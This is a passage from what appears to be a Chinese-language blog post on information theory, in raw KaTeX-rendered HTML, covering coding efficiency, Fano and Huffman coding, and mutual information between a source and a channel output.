class="mord">2</span></span></span><span style="top:-7.3802em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">2.4233</span><span class="mopen">(</span><span class="mord"><span class="mord mathrm">bit</span></span><span class="mord">/</span><span class="mord"><span class="mord mathrm">sign</span></span><span class="mclose">)</span></span></span><span style="top:-4.9191em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"><span class="mord"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">K</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8011em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">6</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">2.7</span></span></span><span style="top:-1.7811em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.5603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">L</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">K</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">2.7</span></span></span><span style="top:0.6319em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.03588em;">η</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord"><span class="mord mathrm">X</span><span class="mclose">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">89.63%</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.4191em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><h3 id="费诺编码">费诺编码</h3><p>首先从大到小排队，然后把符号分成 2 组，要求这是所有分成 2 组的情况中，每组概率之和相差最小的情况。然后随意给两组其中一个分配 0，另一个分配 1。每组内部继续按照上面的规则分组和编码。</p><img src="https://cdn.blog-blockchain.xyz/202305222356113.png" alt="image-20230522235645973" style="zoom: 33%;" /><h3 id="赫夫曼编码">赫夫曼编码</h3><p>首先从大到小排队，对于符号的概率的 n 种取值，开始构造二叉树，节点是最小的 2 个符号，父节点是他们的和。然后用父节点替代它们，变成 n-1 个符号，去除了之前两个概率最小的符号的概率，增加了一个父节点的概率。重复这个过程，直到只剩下 1 个符号。</p><p>下面的序号是代表合并的步骤。</p><p><img src="https://cdn.blog-blockchain.xyz/202305230029109.jpg" alt="qq_pic_merged_1684772949686"></p><h2 id="信道容量">信道容量</h2><h3 id="信道模型">信道模型</h3><p>信道容量（channel capacity）则是指一个信道在特定条件下（例如，特定的信噪比）能够传输的最大信息速率，反映了在单位时间内能够通过信道传输的最大信息量。这里我们不考虑两个信源之间的具体转换关系，而是考虑**两个随机变量之间的信息共享量，或者说，一个随机变量中包含的关于另一个随机变量的信息量。这就是互信息量。**它也可以衡量特征和目标变量之间的相关性。</p><img src="https://cdn.blog-blockchain.xyz/202305241121774.png" alt="image-20230524112132704" style="zoom:50%;" /><p>直观地讲，如果 X 和 Y 是独立的，那么他们的互信息就是 0，因为知道 X 的值并不能给我们提供关于 Y 的任何信息，反之亦然。另一方面，如果 X 和 Y 完全相关（也就是说，如果我们知道了 X 的值，那么我们就可以确定 Y 的值），那么他们的互信息量就等于 X（或 Y）的熵。</p><p>总之，X 和 Y 之间的互信息量或者说相关性，来自信息的传递，如果没有信息从信道传递，那么就是相互独立的。</p><h3 id="互信息量">互信息量</h3><p>两个随机变量的某个取值，来自 Y 的取值 b 对来自 X 的取值 a 的<strong>互信息量</strong>，也就是<strong>在已知事件 b 发生后，对事件 a 的不确定性减少的程度</strong>，</p><p>定义如下：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.363em;vertical-align:-0.936em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mord">∣</span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>这个定义体现了<strong>通过信宿 Y 的值 b 来推测信源 X 的值 a，与实际信源 X 的值 a 的概率的比值</strong>，也是<strong>这一次传输的信息量</strong>。如果事件 b 发生了，那么我们对事件 a 的预测可能会更准确一些，也就是说，事件 a 的不确定性可能会降低。而造成这种不确定性的减少的原因，就是信源 X 通过信道传递信息到了信宿 Y。</p><p>从自信息量的角度，也可以验证刚才对互信息量的解释。因为在信息传递之前，信源 X 和信宿 Y 是独立的，只有信息传输之后，才会有共享的信息。传递的部分就是信源 X 的信息量，减去从信宿 Y 获取观察信源 X 的信息量：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>如果从信息共享（也就是信息传递）的角度看，更加直观的形式如下：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.363em;vertical-align:-0.936em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">ab</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>通过简单变形，就有了最开始互信息量的定义，它给我们提供了一种，不知道 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span> 但是知道 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord">∣</span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span> 的情况下的计算方法。</p><p>对于两个信源而言，<strong>平均互信息量</strong>就是所有组合的互信息量的平均值：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9721em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span 